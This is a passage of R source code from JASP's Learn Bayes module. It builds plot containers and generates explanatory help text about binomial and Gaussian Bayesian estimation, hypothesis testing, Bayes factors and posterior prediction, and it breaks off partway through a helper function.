.containerPlotsBoth2LS <- function(jaspResults, options, analysis){
if (is.null(jaspResults[["containerBoth"]])){
containerBoth <- createJaspContainer(title = gettextf(
"%s Prior and Posterior Plots",
switch(
options[["plotsBothType"]],
"conditional" = gettext("Conditional"),
"joint" = gettext("Joint"),
"marginal" = gettext("Marginal")
)))
containerBoth$position <- 7
containerBoth$dependOn(c("plotsBoth", "plotsBothType"))
jaspResults[["containerBoth"]] <- containerBoth
} else {
containerBoth <- jaspResults[["containerBoth"]]
}
if (options[["introText"]] && is.null(containerBoth[['introText']])){
introText <- createJaspHtml()
introText$dependOn("introText")
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("both_plots", options, analysis)
containerBoth[['introText']] <- introText
}
return(containerBoth)
}
.containerPredictiveAccuracyLS <- function(jaspResults, options, analysis){
if (is.null(jaspResults[["containerPredictiveAccuracy"]])){
containerPredictiveAccuracy <- createJaspContainer(title = gettextf(
"%s Predictive Accuracy Plot",
switch(
options[["plotsPredictiveAccuracyType"]],
"conditional" = gettext("Conditional"),
"joint" = gettext("Joint"),
"marginal" = gettext("Normalized")
)))
containerPredictiveAccuracy$position <- 5
containerPredictiveAccuracy$dependOn(c("plotsPredictiveAccuracy", "plotsPredictiveAccuracyType"))
jaspResults[["containerPredictiveAccuracy"]] <- containerPredictiveAccuracy
} else {
containerPredictiveAccuracy <- jaspResults[["containerPredictiveAccuracy"]]
}
if (options[["introText"]] && is.null(containerPredictiveAccuracy[['introText']])){
introText <- createJaspHtml()
introText$dependOn("introText")
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("predictive_accuracy", options, analysis)
containerPredictiveAccuracy[['introText']] <- introText
}
return(containerPredictiveAccuracy)
}
.containerSequentialTestsLS <- function(jaspResults, options, analysis){
if (is.null(jaspResults[["containerSequentialTests"]])){
containerSequentialTests <- createJaspContainer(title = gettextf(
"%s Sequential Analysis",
switch(
options[["plotsIterativeType"]],
"conditional" = gettext("Conditional"),
"joint" = gettext("Joint"),
"marginal" = gettext("Normalized"),
"BF" = gettext("Bayes Factor")
)))
containerSequentialTests$position <- 8
containerSequentialTests$dependOn(c("plotsIterative", "plotsIterativeType"))
jaspResults[["containerSequentialTests"]] <- containerSequentialTests
} else {
containerSequentialTests <- jaspResults[["containerSequentialTests"]]
}
if (options[["introText"]] && is.null(containerSequentialTests[['introText']])){
introText <- createJaspHtml()
introText$dependOn("introText")
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("sequential_tests", options, analysis)
containerSequentialTests[['introText']] <- introText
}
return(containerSequentialTests)
}
# explanatory text
.explanatoryTextLS <- function(text, options = NULL, analysis = NULL, type = NULL){
estimation <- grepl("_est", analysis, fixed = TRUE)
binomial <- grepl("bin", analysis, fixed = TRUE)
if (text == "main"){
intro_text <- gettextf(
"Welcome to the %s analysis from the Learn Bayes module. This analysis illustrates Bayesian %s using %s examples.",
switch(
analysis,
"bin_est" = gettext("Binomial Estimation"),
"bin_test" = gettext("Binomial Testing"),
"gauss_est" = gettext("Gaussian Estimation"),
"gauss_test" = gettext("Gaussian Testing")
),
ifelse(estimation, gettext("estimation"), gettext("testing")),
ifelse(binomial, gettext("binomial"), gettext("Gaussian"))
)
parameter_info <- ifelse(
binomial,
gettextf("%s (the population proportion of successes)", "\u03B8"),
gettextf("%s (the population mean, variance is assumed to be known)", "\u03BC")
)
overview_text <- gettextf(
"The analysis is split into 5 sections:
<ol> <li> Data - for specifying the data input for the computations. You can either use a variable from a dataset loaded into JASP, specify an aggregated overview of the data, or enter the observations one by one (and update them during the analysis). </li>
<li> %s </li>
<li> %s </li>
<li> %s </li>
<li> %s </li> </ol>
",
ifelse(estimation,
gettextf("Model - for specifying models that will be used for estimation. You can specify the model name, the prior distribution for the parameter %s, and parameters that define the distribution.", parameter_info),
gettextf("Hypothesis - for setting hypotheses that will be used for testing. You can specify the hypothesis name, the prior probability, the prior distribution for the parameter %s, and parameters that define the distribution.", parameter_info)),
ifelse(estimation,
gettext("Inference - for visualizing the specified models. The individual options show prior, posterior, and prior and posterior distributions. In addition, the multiple models can be shown in one figure (All), with a depth effect (Stacked), or in individual figures (Individual)."),
gettext("Inference - for visualizing the specified hypothesis. The individual options show prior distributions, prior predictive distributions, posterior distributions, prior and posterior distributions, and predictive accuracy. In addition, the multiple hypotheses can be shown when considered alone (Conditional), after multiplication by the prior (Joint), and combined together (Marginal)." )),
ifelse(estimation,
gettext("Sequential analysis - for displaying the Bayesian estimation updating with additional data (available only with non-aggregated data). The individual options show updating of the point estimate, specified interval, and the resulting distributions."),
gettext("Sequential analysis - for displaying Bayesian evidence accumulation as data come in (available only with non-aggregated data).")),
ifelse(estimation,
gettext("Posterior prediction - for visualizing the predictions from the updated models. In addition, multiple models can be shown in one figure (All), with a depth effect (Stacked), or in individual figures (Individual)."),
gettext("Posterior prediction - for visualizing the predictions from the updated hypotheses. In addition, predictions from multiple hypotheses can be shown when considered alone (Conditional), after multiplication by the prior (Joint), and combined together (Marginal)."))
)
out <- paste0(intro_text, "\n\n", overview_text)
} else if (text == "data"){
main_text <- gettext("The 'Data' section allows you to specify data input for the analysis.")
option_text <- switch(
options[["dataType"]],
"dataVariable" = gettextf(
"The 'Select variable' option allows the selection of a variable ('Selected') from a dataset loaded into JASP. %s",
ifelse(binomial,
gettext("In addition, the variable levels need to be classified into successes ('Successes') and failures ('Failures')."),
gettext("In addition, the standard deviation of the normal distribution of the population ('SD') needs to be specified.")
)
),
"dataCounts" = gettextf(
"The 'Specify counts' option allows the use of aggregated data. %1$s This means that the %2$s are updated only once, with the complete data. The lack of information about the order of observations precludes the use of sequential analysis.",
ifelse(binomial,
gettext("The necessary information is the number of successes ('Successes') and the number of failures ('Failures')."),
gettext("The necessary information is the number observed mean ('Mean'), the standard deviation of the normal distribution of the population ('SD'), and the number of observations ('Observations').")
),
ifelse(estimation, gettext("models"), gettext("hypotheses"))
),
"dataSequence" = gettextf(
"The 'Enter sequence' option allows manual input of a specific order of observations. %s",
ifelse(binomial,
gettext("The necessary information are the individual observed outcomes written into 'Comma-separated sequence of observations', and classification of the observation types into the ones that represent success ('Successes') and failures ('Failures')."),
gettext("The necessary information are the individual numeric outcomes written into 'Comma-separated sequence of observations' and the standard deviation of the normal distribution of the population ('SD').")
)
)
)
out <- paste0(main_text, " ", option_text)
} else if (text == "estimates"){
estimation_formulas <- switch(
analysis,
"bin_est" = gettextf(
"The 'Binomial Estimation' analysis offers two types of prior distributions for parameter %1$s that represents the underlying population proportion of successes:
<ul><li>'Spike(%2$s)' - for concentrating all probability density at one location (%2$s). The prior %5$s corresponds to the location of the spike. The posterior distribution is again a spike at the same location and corresponding %5$s</li><li>'Beta(%3$s, %4$s)' - for allocating probability density across all values of parameter %1$s according to a beta distribution with parameters %3$s and %4$s. The prior %6$s. After observing 'S' successes and 'F' failures, the posterior distribution updates to beta(%3$s + S, %4$s + F) with a %5$s computed correspondingly.</li></ul>",
"\u03B8", "\u03B8\u2080", "\u03B1", "\u03B2",
options[["pointEstimate"]],
switch(
options[["pointEstimate"]],
"mean" = gettextf("mean can be computed as %1$s / (%1$s + %2$s)", "\u03B1", "\u03B2"),
"median" = gettextf("median can be approximated as (%1$s - 1/3) / (%1$s + %2$s - 2/3) if%1$s, %2$s > 1", "\u03B1", "\u03B2"),
"mode" = gettextf("mode can be computed as (%1$s - 1) / (%1$s + %2$s - 2) if%1$s, %2$s > 1", "\u03B1", "\u03B2")
)),
"gauss_est" = gettextf(
"The 'Gaussian Estimation' analysis offers two types of prior distributions for parameter %1$s of a normal distribution, Normal(%1$s, %2$s), with known standard deviation %2$s:
<ul><li>'Spike(%3$s)' - for concentrating all probability density at one location (%3$s). The prior %8$s corresponds to the location of the spike. The posterior distribution is again a spike at the same location and corresponding %8$s.</li><li>'Normal(%3$s, %4$s)' - for allocating probability density across all values of parameter %1$s according to a normal distribution with parameters mean %3$s and standard deviation %4$s. The prior %8$s corresponds to the mean parameter of the normal distribution %3$s. After seeing 'N' observations with mean %5$s, the posterior distribution updates to normal( (%4$s%6$s*%5$s)/( (%2$s%6$s/N) + %4$s%6$s) + (%2$s%6$s*%3$s)/( (%2$s%6$s/N) + %4$s%6$s), 1/%7$s(1/%4$s%6$s + N/%2$s%6$s) ) with %8$s corresponding to the mean of posterior distribution.</li></ul>",
"\u03BC", "\u03C3", "\u03BC\u2080", "\u03C3\u2080", "x̄", "\u00B2", "\u221A", options[["pointEstimate"]]),
)
table_description <- gettextf(
"The 'Estimation Summary' table displays numerical summaries for the individual models. The displayed point estimate can be changed using the 'Point estimate' option. The table is composed of the following columns:
<ul><li>'Model' - the specified model names</li><li>'Prior (%1$s)' - the specified prior distribution for parameter %1$s</li><li>'Prior %2$s' - the %3$s of the specified prior distribution</li><li>'Posterior (%1$s)' - the estimated posterior distribution for the parameter %1$s (i.e., the prior distribution updated with data)</li><li>'Posterior %2$s' - the %3$s of the posterior distribution</li></ul>",
ifelse(binomial, "\u03B8", "\u03BC"),
.estimateTextLS(options[["pointEstimate"]]),
options[["pointEstimate"]]
)
out <- paste0(estimation_formulas, "\n", table_description)
} else if (text == "tests"){
tests_formulas <- switch(
analysis,
"bin_test" = gettextf(
"The 'Binomial Testing' analysis offers two types of prior distributions for parameter %1$s that represents the underlying population proportion of successes:
<ul><li>'Spike(%2$s)' - for concentrating all probability density at one location (%2$s). The marginal likelihood corresponds to a binomial density evaluated at the observed number of successes, with size equal to the number of observations, and with the chance parameter equal to the location of the spike.</li><li>'Beta(%3$s, %4$s)' - for allocating probability density across all values of parameter %1$s according to a beta distribution with parameters %3$s and %4$s. The marginal likelihood corresponds to a beta-binomial density evaluated at the observed number of successes, with size equal to the number of observations, and with parameters %3$s and %4$s corresponding to the shape parameters of the prior beta distribution.</li></ul>",
"\u03B8", "\u03B8\u2080", "\u03B1", "\u03B2"),
"gauss_test" = gettextf(
"The 'Gaussian Testing' analysis offers two types of prior distributions for parameter %1$s that represents the underlying population mean of a normal distribution, Normal(%1$s, %2$s), with known standard deviation %2$s:
<ul><li>'Spike(%3$s)' - for concentrating all probability density at one location (%3$s). The marginal likelihood corresponds to a normal density evaluated at the observed mean, with mean equal to the location of the spike, and standard deviation as %2$s/%7$sN, where 'N' stands for the number of observations.</li><li>'Normal(%3$s, %4$s)' - for allocating probability density across all values of parameter %1$s according to a normal distribution with mean %3$s and standard deviation %4$s. The marginal likelihood corresponds to a normal density evaluated at the observed mean, with mean equal to the mean of the prior distribution, and standard deviation of %7$s( %2$s%6$s/N + %4$s%6$s ).</li></ul>",
"\u03BC", "\u03C3", "\u03BC\u2080", "\u03C3\u2080", "x̄", "\u00B2", "\u221A"),
)
tests_formulas2 <- gettextf(
"The posterior probabilities 'P(H|data)' are then computed using Bayes formula,
<center>P(H|data) = P(H) * P(data|H) / P(data),</center> where 'P(H)' represents the prior probability of the hypothesis, 'P(data|H)' the marginal likelihood of the data given the hypothesis, and 'P(data)' the probability of the data. The factor 'P(data)' equals the sum of marginal likelihoods multiplied by the prior probabilities, P(data) = %1$s P(data|H%2$s)*P(H%2$s).",
"\u2211", "\u1D62"
)
tests_formulas3 <- gettextf(
"The Bayes factors 'BF' can be obtained by dividing the posterior odds of two models by their prior odds,
<center>BF%1$s%2$s = ( P(H%1$s|data)/P(H%2$s|data) ) / ( P(H%1$s)/P(H%2$s) ),</center> where 'BF%1$s%2$s' stands for the Bayes factor in favor of the 1st model in comparison to the 2nd model and can be interpreted as a natural measure of relative predictive performance. It is also possible to compute a Bayes factor that compares the hypothesis to the remaining hypotheses 'vs. all' exchange the second hypothesis for the sum of the remaining hypotheses, which can be simplified into,
<center>BF%1$s%2$s = ( P(H%1$s|data)/(1-P(H%1$s|data)) ) / ( P(H%1$s)/(1-P(H%1$s)) ).</center>The numerator and denominator of the Bayes factors can be reversed by choosing the 'BF%2$s%1$s' option (quantifying the evidence in favor of the second hypothesis), or transformed to a log scale by choosing the 'log(BF%1$s%2$s)' option.",
"\u2081", "\u2080"
)
table_description <- gettextf(
"The 'Testing Summary' table displays numerical summaries for the hypotheses. It is composed of the following columns:
<ul><li>'Hypothesis' - the specified hypothesis names</li><li>'P(H)' - the prior probability of the hypothesis</li><li>'log(likelihood)' - the log of the marginal likelihood of the hypothesis</li><li>'P(H|data)' - the posterior probability of the hypothesis (after updating with the data)</li><li>%s</li></ul>",
ifelse(options[["bfType"]] == "inclusion",
gettext("'Inclusion BF' - the inclusion Bayes factor for the hypothesis (change from prior to posterior odds for including the hypothesis)"),
gettextf("'BF' - the Bayes factor comparing the predictive performance of the current hypothesis to the %s",
ifelse(options[["bfType"]] == "best",
"best performing hypothesis",
"to the hypothesis specified in 'vs.' Dropdown menu"))
)
)
out <- paste0(tests_formulas, "\n", tests_formulas2, "\n\n", tests_formulas3, "\n\n", table_description)
} else if (text == "parameter_plots"){
general_text <- gettextf(
"The '%1$s' option displays the %2$s plots for parameter %3$s. Spike prior distributions are visualized as arrows (signifying that their density is infinite) and %4$s distributions are visualized as continuous lines.",
ifelse(type == "Prior", gettext("Prior distribution"), gettext("Posterior distribution")),
ifelse(type == "Prior", gettext("prior distribution"), gettext("posterior distribution")),
ifelse(binomial, "\u03B8", "\u03BC"),
ifelse(binomial, gettext("beta"), gettext("normal"))
)
if (estimation){
specific_text <- switch(
options[[ifelse(type == "Prior", "plotsPriorType", "plotsPosteriorType")]],
"overlying" = gettextf(
"The 'All' option shows all %1$s for parameter %2$s on top of each other, allowing for easier comparison with a common density and probability scale on the y-axis.",
ifelse(type == "Prior", gettext("prior distributions"), gettext("posterior distributions")),
ifelse(binomial, "\u03B8", "\u03BC")),
"stacked" = gettextf(
"The 'Stacked' option shows all %1$s for parameter %2$s in one figure with a depth effect induced by plotting the additional distributions 'further' on the z-axis.",
ifelse(type == "Prior", gettext("prior distributions"), gettext("posterior distributions")),
ifelse(binomial, "\u03B8", "\u03BC")),
"individual" = gettextf(
"The 'Individual' option shows %1$s for parameter %2$s individually in separate figures. It is possible to visualize different types of point estimates ('Point estimate') and credible intervals ('CI'):%3$s",
ifelse(type == "Prior", gettext("prior distributions"), gettext("posterior distributions")),
ifelse(binomial, "\u03B8", "\u03BC"),
.CIsTextLS(type == "Posterior"))
)
out <- paste0(general_text, " ", specific_text)
} else {
general_text2 <- switch(
text,
"Prior" = "",
"Posterior" = gettextf(
" Furthermore, the 'Observed data' checkbox allows the visualization of the observed %s as a black cross in the figure.",
ifelse(binomial, gettext("proportion of successes"), gettext("mean"))
)
)
specific_text <- switch(
options[[ifelse(type == "Prior", "plotsPriorType", "plotsPosteriorType")]],
"conditional" = gettextf(
"The 'Conditional' option shows all %1$s for parameter %2$s independently, as ifthey were considered as individual models (without the existence of other hypotheses). It is possible to visualize different types of point estimates ('Point estimate') and credible intervals ('CI'):%3$s",
ifelse(type == "Prior", gettext("prior distributions"), gettext("posterior distributions")),
ifelse(binomial, "\u03B8", "\u03BC"),
.CIsTextLS(type == "Posterior")),
"joint" = gettextf(
"The 'Joint' option shows all %1$s for parameter %2$s when considered together in light of the other hypotheses (by multiplying the density of the %1$s over the parameter by the %3$s probability of the hypothesis). In addition, the 'Overlying' option allows the visualization of all %1$s on top of each other, allowing for easier comparison with a common density and probability scale on the y-axis and the 'Stacked' option shows all %1$s in one figure with a depth effect induced by plotting the additional distributions 'further' on the z-axis.",
ifelse(type == "Prior", gettext("prior distributions"), gettext("posterior distributions")),
ifelse(binomial, "\u03B8", "\u03BC"),
ifelse(type == "Prior", gettext("prior"), gettext("posterior"))),
"marginal" = gettextf(
"The 'Marginal' option collapses across all individual %1$s, weighting them by their %2$s probability.%3$s It is possible to visualize different types of point estimates ('Point estimate') and credible intervals ('CI'):%4$s",
ifelse(type == "Prior", gettext("prior distributions"), gettext("posterior distributions")),
ifelse(type == "Prior", gettext("prior"), gettext("posterior")),
ifelse(type == "Prior", gettext(""), gettext("The result represents the best estimate given all hypotheses and our prior beliefs about them together.")),
.CIsTextLS(type == "Posterior"))
)
out <- paste0(general_text, general_text2, " ", specific_text)
}
} else if (text == "both_plots"){
general_text <- gettextf(
"The 'Prior and posterior distribution' option displays the prior and posterior distribution of the parameter %1$s for the individual %2$s. Spike prior distributions are visualized as arrows (signifying that their density is infinite) and %3$s distributions are visualized as continuous lines. Prior distributions are visualized as dashed grey lines and the posterior distribution as solid black lines. In addition, the observed data summary can be visualized as a black cross by selecting the '%4$s' checkbox.",
ifelse(binomial, "\u03B8", "\u03BC"),
ifelse(estimation, gettext("models"), gettext("hypotheses")),
ifelse(binomial, gettext("beta"), gettext("normal")),
ifelse(binomial, gettext("Observed proportion"), gettext("Observed data"))
)
if (estimation){
out <- general_text
} else {
specific_text <- switch(
options[["plotsBothType"]],
"conditional" = gettextf(
"The 'Conditional' option shows all prior and posterior distributions for parameter %1$s independently, as ifthey were considered as individual models (without the existence of other hypotheses).",
ifelse(binomial, "\u03B8", "\u03BC")),
"joint" = gettextf(
"The 'Joint' option shows all prior and posterior distributions for parameter %1$s when considered together in light of the other hypotheses. In addition, the 'Overlying' option allows the visualization all %1$s on top of each other, allowing for easier comparison with a common density and probability scale on the y-axis and the 'Stacked' option shows all %1$s in one figure with a depth effect induced by plotting the additional distributions 'further' on the z-axis.",
ifelse(binomial, "\u03B8", "\u03BC")),
"marginal" = gettext("The 'Marginal' option collapses across all individual prior and posterior distributions, weighting them by their prior and posterior probability.")
)
out <- paste0(general_text, " ", specific_text)
}
} else if (text == "sequential_point"){
general_text <- gettextf(
"The 'Point estimate' option displays a plot with the sequential updating of the point estimate %s (y-axis). The figure visualizes the updating process as ifthe individual data points were arriving one after another (x-axis).",
ifelse(binomial, "\u03B8", "\u03BC")
)
specific_text <- switch(
options[["plotsIterativeType"]],
"overlying" = gettextf("The 'All' option shows either the mean ('Mean') or the median ('Median') for all specified models in one figure, allowing for easier comparison. It is possible to visualize different types of point estimates ('Point estimate') and credible intervals ('CI'):%s", .CIsTextLS()),
"stacked" = gettext("The 'Stacked' option shows all of the prior distribution updates for each model within one figure with a depth effect induced by plotting the additional distributions 'further' on the z-axis.")
)
table_text <- gettext("The 'Updating table' option generates a numerical summary of the displayed figures.")
out <- paste0(general_text, " ", specific_text, " ", table_text)
} else if (text == "sequential_interval"){
general_text <- gettextf(
"The 'Interval' option displays a sequential plot with the probability of parameter %s lying inside of the interval ranging from ('lower') to ('upper'), (y-axis). The figure visualizes the updating process as ifthe individual data points were arriving one after another (x-axis).",
ifelse(binomial, "\u03B8", "\u03BC")
)
specific_text <- switch(
options[["plotsIterativeIntervalType"]],
"overlying" = gettextf(
"The 'All' option shows the probability of parameter %s lying inside of the specified range for all models in one figure, allowing for easier comparison.",
ifelse(binomial, "\u03B8", "\u03BC")
),
"stacked" = gettext("The 'Stacked' option visualizes the interval for all prior distribution updates for each model within one figure with a depth effect induced by plotting the additional distributions 'further' on the z-axis.")
)
table_text <- gettext("The 'Updating table' option generates a numerical summary of the displayed figures.")
out <- paste0(general_text, " ", specific_text, " ", table_text)
} else if (text == "sequential_updating"){
out <- gettextf(
"The 'Posterior updating table' option generates a numerical summary of the updating process for parameter %s. The 'Observation' column tracks how many observations have been already encountered for the corresponding posterior distribution. The first row (observation = 0) corresponds to the prior distribution and the last row corresponds to the final posterior distribution after the prior distribution was updated with all observations.",
ifelse(binomial, "\u03B8", "\u03BC"))
estimation_formulas <- switch(
analysis,
"bin_est" = gettextf(
"The 'Binomial Estimation' analysis offers two types of prior distributions for parameter %1$s that represents the underlying population proportion of successes:
<ul><li>'Spike(%2$s)' - for concentrating all probability density at one location (%2$s). The prior %5$s corresponds to the location of the spike. The posterior distribution is again a spike at the same location and corresponding %5$s</li><li>'Beta(%3$s, %4$s)' - for allocating probability density across all values of parameter %1$s according to a beta distribution with parameters %3$s and %4$s. The prior %6$s. After observing 'S' successes and 'F' failures, the posterior distribution updates to beta(%3$s + S, %4$s + F) with a %5$s computed correspondingly.</li></ul>",
"\u03B8", "\u03B8\u2080", "\u03B1", "\u03B2",
options[["pointEstimate"]],
switch(
options[["pointEstimate"]],
"mean" = gettextf("mean can be computed as %1$s / (%1$s + %2$s)", "\u03B1", "\u03B2"),
"median" = gettextf("median can be approximated as (%1$s - 1/3) / (%1$s + %2$s - 2/3) if%1$s, %2$s > 1", "\u03B1", "\u03B2"),
"mode" = gettextf("mode can be computed as (%1$s - 1) / (%1$s + %2$s - 2) if%1$s, %2$s > 1", "\u03B1", "\u03B2")
)),
"gauss_est" = gettextf(
"The 'Gaussian Estimation' analysis offers two types of prior distributions for parameter %1$s of a normal distribution, Normal(%1$s, %2$s), with known standard deviation %2$s:
<ul><li>'Spike(%3$s)' - for concentrating all probability density at one location (%3$s). The prior %8$s corresponds to the location of the spike. The posterior distribution is again a spike at the same location and corresponding %8$s.</li><li>'Normal(%3$s, %4$s)' - for allocating probability density across all values of parameter %1$s according to a normal distribution with parameters mean %3$s and standard deviation %4$s. The prior %8$s corresponds to the mean parameter of the normal distribution %3$s. After seeing 'N' observations with mean %5$s, the posterior distribution updates to normal( (%4$s%6$s*%5$s)/( (%2$s%6$s/N) + %4$s%6$s) + (%2$s%6$s*%3$s)/( (%2$s%6$s/N) + %4$s%6$s), 1/%7$s(1/%4$s%6$s + N/%2$s%6$s) ) with %8$s corresponding to the mean of posterior distribution.</li></ul>",
"\u03BC", "\u03C3", "\u03BC\u2080", "\u03C3\u2080", "x̄", "\u00B2", "\u221A", options[["pointEstimate"]]),
)
} else if (text == "predictions"){
predictions_text <- gettextf(
"The 'Posterior prediction' section allows the prediction of future data based on the estimated models%s",
ifelse(estimation,
gettext(". When prior-based predictions are desired, the data can be removed from the 'Data' section (the posterior after seeing no data equals the prior)."),
gettext(" and the marginal prediction based on the hypotheses weighted by the posterior probabilities.")
)
)
if (binomial){
predictions_formulas <- gettextf(
"For a model with a spike prior distribution for parameter %1$s, predictions for 'N' future observation ('Future observations') follow a binomial distribution with size N and chance parameter %2$s equal to the location of the prior distribution. %5$s For a model with a beta prior distribution for parameter %1$s, the predictive distribution is a beta-binomial distribution with size N and posterior beta distribution parameters %3$s and %4$s. %6$s",
"\u03B8", "\u03B8\u2080", "\u03B1", "\u03B2",
switch(
options[["predictionTableEstimate"]],
"mean" = gettextf("The mean prediction can be computed as N*%s", "\u03B8\u2080"),
"median" = "", # there is no simple solution
"mode" = gettextf("The mode prediction can be usually computed as (N + 1)*%1$s rounded down to the closest integer if0 < %1$s < 1", "\u03B8\u2080")
),
switch(
options[["predictionTableEstimate"]],
"mean" = gettextf("The mean of the predictions can be computed as N*%1$s/( %1$s + %2$s ).", "\u03B1", "\u03B2"),
"median" = "", # there is no simple solution
"mode" = "" # and I couldn't find analytical solution for this at all
)
)
} else {
predictions_formulas <- gettextf(
"For a model with a spike prior distribution for parameter %1$s, predictions for 'N' future observation ('Future observations') with standard deviation %2$s ('SD') follow a normal distribution with mean parameter equal to the location of the prior distribution %3$s and standard deviation %2$s/%4$sN. For a model with a normal prior distribution for parameter %1$s, the predictive distribution is a normal distribution with mean equal to the mean of the posterior distribution and standard deviation based on the standard deviation of the posterior distribution (%3$s) and expected standard deviation of the new data (%2$s/%4$sN), %4$s( %3$s%5$s + (%2$s/%4$sN)%5$s ). In both cases, the %6$s prediction is equal to the mean parameter of the distribution for predictions.",
"\u03BC", "\u03C3", "\u03C3\u209A", "\u221A", "\u00B2", options[["predictionTableEstimate"]]
)
}
table_description <- gettextf(
"The 'Prediction Summary' table displays numerical summaries for the individual models. The displayed point estimate can be changed using the 'Point estimate' option. The table is composed of the following columns:
<ul><li>'Model' - the specified model names</li><li>'Posterior (%1$s)' - the estimated posterior distribution for parameter %1$s (used for prediction)</li>%2$s<li>'Posterior %4$s' - the %5$s of the specified posterior distribution</li><li>'Prediction%3$s' - the predictive distribution for new data</li><li>'Prediction %4$s' - the %5$s of predicted data</li></ul>",
ifelse(binomial, "\u03B8", "\u03BC"),
ifelse(estimation, "", "<li>'P(H|data)' - the posterior probability of the hypothesis (after updating with the data)</li>"),
ifelse(binomial, gettext(" (Successes)"), ""),
switch(
options$predictionTableEstimate,
"mean" = gettext("Mean"),
"median" = gettext("Median"),
"mode" = gettext("Mode")
),
switch(
options$predictionTableEstimate,
"mean" = gettext("mean"),
"median" = gettext("median"),
"mode" = gettext("mode")
)
)
out <- paste0(predictions_text, " ", predictions_formulas, "\n\n", table_description)
} else if (text == "prediction_plots"){
if (estimation){
# only posterior prediction plots are available for estimation
general_text <- gettextf(
"The 'Posterior predictive distribution' option displays figures of predictive distributions based on posterior distributions of the individual models. The '%1$s' checkbox transforms the figures with predicted data%2$s into figures with %3$s.",
ifelse(binomial, gettext("Show sample proportions"), gettext("Show sample means")),
ifelse(binomial, gettext(" (number of successes)"), ""),
ifelse(binomial, gettext("sample proportions"), gettext("sample means"))
)
specific_text <- switch(
options[["plotsPredictionType"]],
"overlying" = gettext("The 'All' option shows all posterior predictive distributions on top of each other, allowing for easier comparison with a common density scale on the y-axis."),
"stacked" = gettext("The 'Stacked' option shows all posterior predictive distributions in one figure with a depth effect induced by plotting the additional distributions 'further' on the z-axis."),
"individual" = gettextf("The 'Individual' option shows posterior predictive distributions for each model individually in separate figures. It is possible to visualize different types of point estimates ('Point estimate') and credible intervals ('CI'):%s",.CIsTextLS())
)
out <- paste0(general_text, " ", specific_text)
} else {
general_text <- gettextf(
"The '%1$s' option displays figures of predictive distributions based on posterior distributions of the individual models. %2$s",
ifelse(type == "Prior", gettext("Prior predictive distribution"), gettext("Posterior predictive distribution")),
ifelse(type == "Prior",
gettextf(
"Furthermore, the '%1$s' checkbox allows the visualization of the observed %2$s as a black cross in the figure.",
ifelse(binomial, gettext("Observed proportion"), gettext("Observed data")),
ifelse(binomial, gettext("number of successes"), gettext("mean"))),
gettextf(
"Furthermore, The '%1$s' checkbox transforms the figures with predicted data%2$s into figures with %3$s%4$s",
ifelse(binomial, gettext("Show sample proportions"), gettext("Show sample means")),
ifelse(binomial, gettext(" (number of successes)"), ""),
ifelse(binomial, gettext("sample proportions"), gettext("sample means")),
ifelse(type == "Posterior" && binomial, gettext(" and the 'Predictions table' checkbox shows exact probabilities for every predicted number of successes."), ".")
))
)
specific_text <- switch(
options[[ifelse(type == "Prior", "plotsPredictionType", "plotsPredictionPostType")]],
"conditional" = gettextf(
"The 'Conditional' option shows all %1$s for parameter %2$s independently, as ifthey were considered as individual models (without the existence of other hypotheses). It is possible to visualize different of credible intervals ('CI'):%3$s",
ifelse(type == "Prior", gettext("prior predictive distributions"), gettext("posterior predictive distributions")),
ifelse(binomial, "\u03B8", "\u03BC"),
.CIsTextLS(FALSE)),
"joint" = gettextf(
"The 'Joint' option shows all %1$s for parameter %2$s when considered together in light of the other hypotheses (by multiplying the density of the %1$s by the %3$s probability of the hypothesis). In addition, the 'Overlying' option allows the visualization of all %1$s on top of each other, allowing for easier comparison with a common density and probability scale on the y-axis and the 'Stacked' option shows all %1$s in one figure with a depth effect induced by plotting the additional distributions 'further' on the z-axis.",
ifelse(type == "Prior", gettext("prior predictive distributions"), gettext("posterior predictive distributions")),
ifelse(binomial, "\u03B8", "\u03BC"),
ifelse(type == "Prior", gettext("prior"), gettext("posterior"))),
"marginal" = gettextf(
"The 'Marginal' option collapses across all individual %1$s, weighting them by their %2$s probability.%3$s It is possible to visualize different types of point estimates ('Point estimate') and credible intervals ('CI'):%4$s",
ifelse(type == "Prior", gettext("prior predictive distributions"), gettext("posterior predictive distributions")),
ifelse(type == "Prior", gettext("prior"), gettext("posterior")),
ifelse(type == "Prior", gettext(""), gettext("The result represents the best estimate given all hypotheses and our prior beliefs about them together.")),
.CIsTextLS(FALSE))
)
out <- paste0(general_text, " ", specific_text)
}
} else if (text == "predictive_accuracy"){
general_text <- gettext("The 'Predictive accuracy' option allows a comparison of the predictive accuracy across all hypotheses. Predictive accuracy refers to how likely the data are given the hypotheses.")
specific_text <- switch(
options[["plotsPredictiveAccuracyType"]],
"conditional" = gettext("The 'Conditional' option shows all predictive accuracies independently, as ifthey were considered as individual models (without the existence of other hypotheses)."),
"joint" = gettext("The 'Joint' option shows all predictive accuracies when taking the prior probabilities of hypotheses into account (by multiplying conditional predictive accuracies by prior probabilities of the hypotheses)."),
"marginal" = gettext("The 'Normalized' option shows all predictive accuracies considered together in light of the other hypotheses (by normalizing the joint predictive accuracies by the probability of the data, which equals to the posterior probability of the hypotheses).")
)
out <- paste0(general_text, " ", specific_text)
} else if (text == "sequential_tests"){
general_text <- gettext("The 'Test results' option displays a plot with the sequential change in the predictive accuracy of all hypotheses (y-axis). The figure visualizes the updating process as ifthe individual data points were arriving one after another (x-axis).")
specific_text <- switch(
options[["plotsIterativeType"]],
"conditional" = gettext("The 'Conditional' option shows all predictive accuracies independently, as ifthey were considered as individual models (without the existence of other hypotheses)."),
"joint" = gettext("The 'Joint' option shows all predictive accuracies when taking the prior probabilities of hypotheses into account (by multiplying conditional predictive accuracies by prior probabilities of the hypotheses)."),
"marginal" = gettext("The 'Normalized' option shows all predictive accuracies considered together in light of the other hypotheses (by normalizing the joint predictive accuracies by the probability of the data, which equals to the posterior probability of the hypotheses at the given time point)."),
"BF" = gettextf("The 'Bayes factor' option can compare the predictive accuracies of the hypotheses to the rest of the hypotheses ('vs. All'), the best hypothesis ('vs. best'), or a specific hypothesis selected in the 'vs.' dropdown. The nominator and denominator of the Bayes factors can be reversed by choosing the 'BF%2$s%1$s' option (quantifying the evidence in favor of the second hypothesis), or transformed to a log scale by choosing the 'log(BF%1$s%2$s)' option.", "\u2081", "\u2080")
)
table_text <- gettext("The 'Updating table' option generates a numerical summary of the displayed figure.")
out <- paste0(general_text, " ", specific_text, " ", table_text)
}
return(out)
}
.CIsTextLS <- function(SI = FALSE){
return(gettextf(
